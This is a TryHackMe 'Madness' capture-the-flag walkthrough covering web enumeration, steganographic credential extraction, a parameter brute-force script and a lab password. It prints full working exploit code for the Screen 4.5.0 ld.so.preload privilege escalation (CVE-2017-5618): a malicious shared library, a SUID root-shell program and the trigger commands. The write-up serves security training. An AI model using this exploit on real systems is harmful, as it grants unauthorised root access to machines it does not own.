# Madness - Joker CTF  x  Steganography (TryHackMe)

## Introduction

This challenge demonstrates a multi-stage attack involving web enumeration, steganography, and privilege escalation. The box requires discovering hidden content through careful reconnaissance, extracting credentials from an image file, and exploiting a known vulnerability in Screen 4.5.0 to gain root access. No SSH brute-forcing is required - all credentials can be discovered through proper enumeration techniques.

## Flag Submission

![](https://assets.tryhackme.com/additional/imgur/5iW7kC8.jpg align="left")

Please note this challenge does not require SSH brute forcing.

Use your skills to access the user and root account!

### Answer the questions below

1. user.txt  
      
    `nmap -p- -sV -sC <IP_Address>`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770148438530/4723a64e-4970-4419-86da-680c4ae0b0ff.png align="center")
    
    ```bash
    Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-02 17:49 GMT
    mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
    mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
    Nmap scan report for 10.48.153.218
    Host is up (0.00032s latency).
    Not shown: 65533 closed ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
    |   256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
    |_  256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
    ```
    
    `gobuster dir -u http://<IP_Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt`  
      
    I noticed that `http://<IP_Address>/?.html` shows the default break without breaking
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770148566464/a856037f-cbc3-4e95-b6ab-f1615555694a.png align="center")
    
    ```bash
    curl http://10.48.153.218/index.php
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
      <body>
        <div class="main_page">
          <div class="page_header floating_element">
            <img src="thm.jpg" class="floating_element"/>
    <!-- They will never find me-->
            <span class="floating_element">
              Apache2 Ubuntu Default Page
            </span>
          </div>
    <!--      <div class="table_of_contents floating_element">
            <div class="section_header section_header_grey">
              TABLE OF CONTENTS
            </div>
            <div class="table_of_contents_item floating_element">
              <a href="#about">About</a>
            </div>
            <div class="table_of_contents_item floating_element">
              <a href="#changes">Changes</a>
            </div>
            <div class="table_of_contents_item floating_element">
              <a href="#scope">Scope</a>
            </div>
            <div class="table_of_contents_item floating_element">
              <a href="#files">Config files</a>
            </div>
          </div>
    -->
      </body>
    </html>
    ```
    
    `wget http://<IP_Address>/thm.jpg`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770148312704/b2fed1a7-9991-4505-93ea-5ef5344d3969.png align="center")
    
    `strings thm.jpg`  
      
    `exiftool thm.jpg`  
      
    `steghide extract -sf thm.jpg`  
    
    * didn’t have a passphrase
        
    
    `xxd thm.jpg | head -20`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770149066852/5e9f1779-0cae-484b-b008-b2f79d5d8cb1.png align="center")
    
    ```bash
    cp thm.jpg thm_fixed.jpg
    printf '\xff\xd8' > thm_fixed.jpg
    dd if=thm.jpg of=thm_fixed.jpg bs=1 skip=20 seek=2
    22190+0 records in
    22190+0 records out
    22190 bytes (22 kB, 22 KiB) copied, 0.151501 s, 146 kB/s
    ```
    
    used the above code to make a copy and fixed it, then used steghide again, but didn’t find anything.  
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770149264701/a6ef1cf4-9e35-4ce1-89aa-993b1411f27a.png align="center")
    
    Viewing the image, there was a hidden path: `http://<IP_Address>/th1s_1s_h1dd3n`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770149295121/42de7427-9dc4-4324-b413-9ade6737a6ad.png align="center")
    
    ```bash
    gobuster dir -u http://<IP_Address>/th1s_1s_h1dd3n -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.49.157.80/th1s_1s_h1dd3n
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              txt,php,html
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /.php                 (Status: 403) [Size: 277]
    /index.php            (Status: 200) [Size: 406]
    /.html                (Status: 403) [Size: 277]
    Progress: 873100 / 873104 (100.00%)
    ===============================================================
    Finished
    ```
    
    `http://<IP_Address>/th1s_1s_h1dd3n`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150333305/5f38087d-8157-4030-a369-e4f60bb1107a.png align="center")
    
    There’s a code comment which will be our hint: `// It's between 0-99 but I don't think anyone will look here`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150372772/ba87d9f5-aba0-4f5a-8758-e78421942afa.png align="center")
    
    ```bash
    /usr/bin/env python3
    import requests
    
    url = "http://10.49.157.80/th1s_1s_h1dd3n"
    
    print("[*] Brute forcing secret parameter (0-99)...")
    
    for num in range(100):
        response = requests.get(url, params={'secret': num})
        
        # Print progress
        print(f"[*] Trying secret={num}", end='\r')
        
        # Check if we got something different (flag found)
        if "wrong" not in response.text.lower() and len(response.text) > 100:
            print(f"\n[+] FOUND! secret={num}")
            print(f"[+] Response:\n{response.text}")
            break
        elif "flag" in response.text.lower() or "thm{" in response.text.lower():
            print(f"\n[+] FLAG FOUND! secret={num}")
            print(f"[+] Response:\n{response.text}")
            break
    else:
        print("\n[-] No flag found in range 0-99")
    ```
    
    `nano brute_secret.py`  
    
    `chmod +x brute_secret.py`
    
    `python3 brute_secret.py`
    
    ```bash
    [*] Brute forcing secret parameter (0-99)...
    [*] Trying secret=73
    [+] FOUND! secret=73
    [+] Response:
    <html>
    <head>
      <title>Hidden Directory</title>
      <link href="stylesheet.css" rel="stylesheet" type="text/css">
    </head>
    <body>
      <div class="main">
    <h2>Welcome! I have been expecting you!</h2>
    <p>To obtain my identity you need to guess my secret! </p>
    <!-- It's between 0-99 but I don't think anyone will look here-->
    
    <p>Secret Entered: 73</p>
    
    <p>Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B</p>
    
    </div>
    </body>
    </html>
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150565893/fbe2cdd0-5e1a-4e60-a09a-96a6a71339f4.png align="center")
    
    `http://<IP_Address>/th1s_1s_h1dd3n/?secret=73`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150602581/62a33aac-18d1-44d2-9f15-4631e5f721f2.png align="center")
    
    with this we can go back to steghide to check if we can find details about our ssh user or their password
    
      
    `steghide extract -sf thm_fixed.jpg`  
    
    * We find a `hidden.txt` file
        
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150843866/af074197-1cc2-4a1d-b746-58d6bc8d71e8.png align="center")
    
    `cat hidden.txt`  
      
    `python3 -c "import codecs; print(codecs.decode('wbxre', 'rot_13'))"`  
    
    * This reveals the real username
        
    * The image below happens to have a password for our SSH user
        
        * couldn’t run steghide locally, so I just used [this writeup](https://medium.com/@robertwilliamgooding/madness-walkthrough-tryhackme-850efd644edd) to help me with this one
            
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770151002536/38aba568-089d-4a90-b7aa-d775cc81111e.jpeg align="center")
    
    `ssh joker@<IP_Address>`  
    
    `find / -type f -name user.txt 2>/dev/null`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770150903363/a683add7-8fb4-4065-bef5-fe902d950cee.png align="center")
    
2. root.txt  
      
    `sudo -l`  
      
    This didn’t work, and I opted to use a different way  
      
    `find / -perm -4000 2>/dev/null`
    
    ```bash
    sudo -l
    [sudo] password for joker: 
    Sorry, user joker may not run sudo on ubuntu.
    joker@ubuntu:~$ find / -perm -4000 2>/dev/null
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/eject/dmcrypt-get-device
    /usr/bin/vmware-user-suid-wrapper
    /usr/bin/gpasswd
    /usr/bin/passwd
    /usr/bin/newgrp
    /usr/bin/chsh
    /usr/bin/chfn
    /usr/bin/sudo
    /bin/fusermount
    /bin/su
    /bin/ping6
    /bin/screen-4.5.0
    /bin/screen-4.5.0.old
    /bin/mount
    /bin/ping
    /bin/umount
    ```
    

Screen version 4.5.0 is vulnerable to a local privilege escalation exploit (CVE-2017-5618) that abuses the [`ld.so`](http://ld.so)`.preload` mechanism.

## Exploitation

### Create libhax.c

This shared library will be preloaded and will modify the ownership and permissions of our rootshell binary:

```bash
cd /tmp
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
```

### Compile the shared library

```bash
gcc -fPIC -shared -ldl -o libhax.so libhax.c
```

### Create rootshell.c

This is the SUID binary that will give us a root shell:

```bash
cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
```

### Compile rootshell

```bash
gcc -o rootshell rootshell.c
```

### Trigger the exploit

The vulnerable screen binary allows us to write to `/etc/`[`ld.so`](http://ld.so)`.preload`:

````bash
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
```

**Output:**
```
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.
````

The `[+] done!` message indicates our library was executed with root privileges, making `/tmp/rootshell` a SUID binary owned by root.

### Execute rootshell for root access

```bash
/tmp/rootshell
```

## Capture the Flag

## Vulnerability Explanation

The Screen 4.5.0 SUID binary has a race condition that allows unprivileged users to write to `/etc/`[`ld.so`](http://ld.so)`.preload`. This file tells the dynamic linker which libraries to load before all others. By injecting our malicious library path, we can execute arbitrary code with root privileges when screen (or any SUID binary) is launched.

**CVE Reference:** CVE-2017-5618

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770151533760/9bea15f2-f206-473d-a419-a1bb90e6e2c2.png align="center")

## Conclusion

This challenge effectively teaches several important penetration testing concepts:

**Key Takeaways:**

* Hidden HTML comments can reveal valuable clues and attack vectors
    
* Steganography is a common technique for hiding credentials in CTF challenges
    
* File header corruption can prevent tools from working - knowing how to fix corrupted files is essential
    
* SUID binaries are prime targets for privilege escalation
    
* Known CVEs like the Screen 4.5.0 exploit (CVE-2017-5618) demonstrate why keeping systems patched is critical
    

The progression from web enumeration → steganography → credential discovery → privilege escalation mirrors real-world attack chains. This room reinforces the importance of thorough enumeration at every stage and understanding how to leverage existing exploits effectively.
